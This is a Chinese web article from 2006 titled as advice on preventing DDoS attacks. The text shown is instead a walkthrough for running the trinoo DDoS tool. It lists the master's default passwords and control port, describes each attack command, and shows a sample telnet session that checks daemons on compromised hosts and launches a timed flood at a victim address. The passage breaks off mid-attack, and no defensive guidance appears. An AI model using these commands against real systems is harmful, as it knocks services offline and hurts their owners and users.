黑客实例经验之如何防止ddos攻击

来源：IT世界作者：出处：巧巧读书 2006-11-16 进入讨论组

　　客户端不是trinoo自带的一部分，可用标准的能提供TCP连接的程序，如TELNET，NETCAT等，连接MASTER所在主机的27665端口，输入默认密码betaalmostdone后，即完成了连接工作，进入攻击控制可操作的提示状态。

　　目前版本的trinoo有六个可用命令，mtimer:设定攻击时长，如mtimer 60，攻击60秒，如果不设置的话，默认是无限。dos:对某一目标主机实施攻击，如dos 12.34.45.56 mdie:停止正在实施的攻击，使用这一功能需要输入口令killme，mping:请求攻击守护进程NS回应，监测ns是否工作。mdos，对多个目标主机实施攻击，msize:设置攻击UDP包的大小。

　　我们来看一次攻击的实例:

　　被攻击的目标主机victim IP为:12.23.34.45

　　ns被植入三台sun的主机里，他们的IP对应关系分别为

　　client1:11.11.11.11
　　client2:22.22.22.22
　　client3:33.33.33.33
　　

　　master所在主机为masterhost:11.22.33.44

　　首先我们要启动各个进程，在client1，2，3上分别执行ns，启动攻击守护进程。

　　其次，在master所在主机启动master

　　masterhost# ./master
　　?? gOrave (系统示输入密码，输入gOrave后master成功启动)
　　trinoo v1.07d2+f3+c [Mar 20 2000:14:38:49] (连接成功)

　　在任意一台与网络连通的可使用telnet的设备上，执行

　　telnet 11.22.33.44 27665
　　Escape character is '^]'.
　　betaalmostdone (输入密码)
　　trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
　　trinoo> (进入提示符)
　　trinoo> mping (我们首先来监测一下各个攻击守护进程是否成功启动)
　　mping: Sending a PING to every Bcasts.
　　trinoo> PONG 1 Received from 11.11.11.11
　　PONG 2 Received from 22.22.22.22
　　PONG 3 Received from 33.33.33.33 (成功响应)
　　trinoo> mtimer 60 (设定攻击时间为60秒)
　　mtimer: Setting timer on bcast to 60.
　　trinoo> dos 12.23.34.45
　　DoS: Packeting 12.23.34.45......本U R L:http://www.qqread.com/net-saft/e278165.html